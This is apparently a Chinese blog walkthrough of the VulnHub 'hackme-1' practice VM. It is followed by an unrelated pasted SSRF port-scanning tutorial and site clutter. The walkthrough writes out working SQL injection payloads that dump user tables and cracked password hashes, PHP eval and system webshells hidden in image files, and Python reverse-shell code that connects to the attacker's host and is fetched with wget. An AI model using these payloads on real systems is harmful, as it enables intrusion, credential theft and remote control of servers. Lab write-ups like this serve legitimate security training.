靶机渗透 hackme-1(详解,适合新手)

0x01靶机描述

靶机基本信息:

链接https://www.vulnhub.com/entry/hackme-1,330/
发布时间18 Jul 2019
作者x4bx54
难度简单

靶机基本介绍:
在这里插入图片描述
“hackme”是一个初学者难度等级框。目标是通过web漏洞获得有限的权限访问,然后权限升级为root。这个实验室是为了模拟现实生活环境而创建的。

“hackme”使用DHCP,并且在mysqld可能自行关闭的情况下(非常罕见的情况),尝试强制重新启动机器,然后机器应该可以正常工作。

与VMware相比,VirtualBox的效果更好

0x02环境搭建

  1. 下载并导入靶机
    打开vmware–文件–打开–hackme.ova
    在这里插入图片描述
    在这里插入图片描述

  2. 查看网络适配器
    将靶机网络适配器改为NAT模式
    在这里插入图片描述

  3. 启动靶机
    点击 ▶靶机,开启成功
    在这里插入图片描述

0x03靶机渗透

一、 信息收集

  1. 主机发现
arpscan -l

在这里插入图片描述

  1. 端口扫描
masscan --rate=100000 -p 0-65535 192.168.30.207

在这里插入图片描述

  1. 详细扫描
nmap -T4 -sV -O -p 22,80 192.168.30.207

在这里插入图片描述

  1. 目录扫描
    (1) dirb目录扫描
dirb http://192.168.30.207 /usr/share/dirb/wordlists/big.txt

在这里插入图片描述
(2)gobuster目录扫描

gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.207 -t 30

在这里插入图片描述

  1. 网站指纹识别
whatweb http://192.168.30.207

在这里插入图片描述

二、 漏洞挖掘

  • SQL注入

  1. 登录主页发现登录页面,而且还可以注册用户
    在这里插入图片描述

  2. 注册用户admin 密码123456
    在这里插入图片描述

  3. 登录admin用户
    在这里插入图片描述
    单击search可以进行查看到很多的书名
    在这里插入图片描述

  4. 验证sql注入

Windows OS' and 1=1#

在这里插入图片描述

Windows OS' and 1=2# 

在这里插入图片描述
由以上验证出此处存在字符型(单引号)sql注入

  1. 判断字段数
Windows OS' order by 3#

在这里插入图片描述

Windows OS' order by 4#

在这里插入图片描述
可以看出这里字段数为3

  1. 判断显示位置
-1' union select 1,2,3#

在这里插入图片描述

  1. 查看当前数据库
-1' union select database(),2,3#

在这里插入图片描述

  1. 查看webapphacking库所有的表
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#

在这里插入图片描述

  1. 查看users表中所有的列
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#

在这里插入图片描述

10.查看表中user,password

-1' union select group_concat(user),group_concat(pasword),3 from users#

在这里插入图片描述

  1. 将得到密码进行MD5解密
user1   	5d41402abc4b2a76b9719d911017c592    hello
user2   	6269c4f71a55b24bad0f0267d9be5508    commando
user3	    0f359740bd1cda994f8b55330c86d845    p@ssw0rd
test	    05a671c66aefea124cc08b76ea6d30bb	testtest
superadmin	2386acb2cf356944177746fc92523983	Uncrackable
test1   	05a671c66aefea124cc08b76ea6d30bb	testtest
admin   	e10adc3949ba59abbe56e057f20f883e	123456
123456	    e10adc3949ba59abbe56e057f20f883e	123456

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
这里只截了三张图,其他的解密也一样,后面两个用户(admin,123456)是我自己刚刚在网页注册的

  • 文件上传漏洞

  1. 使用superadmin用户登录
    在这里插入图片描述

  2. 发现文件上传点

在这里插入图片描述

  1. 上传phpinfo()进行验证

制作假图片头

GIF89a<?php phpinfo(); ?>

在这里插入图片描述
上传前先开启burp抓包
在这里插入图片描述

在这里插入图片描述

  1. 拦截-修改后缀-send,我们可以从回包中看出文件已将上传至文件夹

在这里插入图片描述

  1. 信息收集时,目录扫描出的路径
http://192.168.30.207/uploads/
访问路径
http://192.168.30.207/uploads/phpinfo.php

在这里插入图片描述

该上传点存在文件上传漏洞,并且假图片头与图片马均可以

三、 漏洞利用

反弹shell方法一:一句话木马,蚁剑连接

  1. 制作图片马
<?php @eval($_POST[shell]); ?>

在这里插入图片描述

copy a.jpg/b + tu.php/a b.jpg

在这里插入图片描述

  1. 同上面上传phpinfo.jpg一样,上传图片马
    抓包–修改后缀–发送,可以看出上传成功
    在这里插入图片描述

  2. 访问上传的图片马

http://192.168.30.207/uploads/b.php

在这里插入图片描述

  1. 蚁剑连接成功
    在这里插入图片描述

在这里插入图片描述
5. 上传反弹shell脚本
将反弹shell放在网站根目录下,开启http服务

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.30.182",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

service apache2 start

在这里插入图片描述

  1. 在蚁剑终端上下载
wget http://192.168.30.182/shell.py

在这里插入图片描述

  1. kali监听1234端口
    在这里插入图片描述

  2. 运行
    在这里插入图片描述

  3. 反弹shell成功
    在这里插入图片描述

反弹shell方法二:system命令执行

  1. 制作图片马
<?php @system($_GET([cmd]);?>

在这里插入图片描述
合成图片马(与方法一合成方法相同)

copy a.jpg/b + sysexec.php/a sysexec3.jpg
  1. 同上面上传phpinfo.jpg一样,上传图片马
    抓包–修改后缀–发送,可以看出上传成功
    在这里插入图片描述
  2. kali开启监听7777端口
nc -vnlp 7777

在这里插入图片描述

  1. 在浏览器借助hackbar进行访问上传上去的反弹shell脚本
http://192.168.30.207/uploads/stsexec3.php?cmd=python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.30.182",7777));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"])'

在这里插入图片描述
5. 反弹shell成功
在这里插入图片描述

四、 提权

  1. 识别所存在的用户
cat /etc/passwd | grep /bin/bash

在这里插入图片描述

  1. 在/home/legacy路径下发现二进制文件touchmenot,执行二进制文件
./touchmenot

在这里插入图片描述
提权成功

0x04实验总结

这个靶机考察了目录搜集,sql注入,文件上传漏洞,反弹shell等内容,在渗透的过程中需要灵活应对每一个环节,靶机难度比较简单

  • 8
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 10
    评论
SSRF(Server Side Request Forgery)漏洞是一种常见的Web安全漏洞,攻击者可以利用该漏洞伪造服务器端发起的请求,例如访问内部系统或者外部网络等,从而造成安全风险。 SSRF漏洞的利用方式有很多种,其中一种典型的方式是利用SSRF漏洞进行端口扫描。攻击者可以构造特定的请求,使目标服务器向攻击者指定的IP地址和端口发起连接,从而达到端口扫描的目的。 下面我们就来分析一下SSRF漏洞的利用过程。 一、漏洞利用过程 1. 构造恶意请求 攻击者可以构造恶意请求,将需要访问的目标URL替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://example.com/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://example.com/?url=http://127.0.0.1:22 ``` 2. 利用漏洞进行端口扫描 当攻击者构造完恶意请求后,目标服务器会向攻击者指定的IP地址和端口发起连接,如果连接成功,说明该端口开放,否则该端口关闭。 攻击者可以通过不断尝试不同的端口,从而达到端口扫描的目的。 二、实战演练 下面我们将通过一个CTF例题来演示如何利用SSRF漏洞进行端口扫描。 1. 环境搭建 我们可以使用Docker来搭建漏洞环境,具体步骤如下: 1)拉取Docker镜像 ``` docker pull bluetonem/hackme-ssrf ``` 2)启动容器 ``` docker run -d -p 8080:80 bluetonem/hackme-ssrf ``` 2. 漏洞利用 访问http://127.0.0.1:8080/,可以看到一个简单的Web应用程序,该应用程序可以通过URL参数获取指定网址的源代码。 我们可以利用SSRF漏洞,将目标网址替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://127.0.0.1:8080/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://127.0.0.1:8080/?url=http://127.0.0.1:22 ``` 如果该端口开放,返回的页面会显示"SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2"等信息,说明端口开放。如果该端口关闭,则返回的页面会显示"Connection refused"等信息,说明端口关闭。 通过不断尝试不同的端口,可以实现端口扫描的目的。 三、防御措施 为了避免SSRF漏洞的产生,需要采取以下安全措施: 1. 对用户输入的URL进行严格验证,确保只访问合法的URL。 2. 对URL进行白名单验证,只允许访问指定的URL,避免访问不受信任的URL。 3. 对访问的目标URL进行限制,避免访问内部系统或者外部网络等不安全的URL。 4. 对服务器的网络端口进行限制,避免访问不受信任的IP地址和端口。 5. 对服务器进行定期的安全审计,及时发现和修复漏洞。 以上是关于SSRF漏洞分析与利用的详细介绍,希望对你有所帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值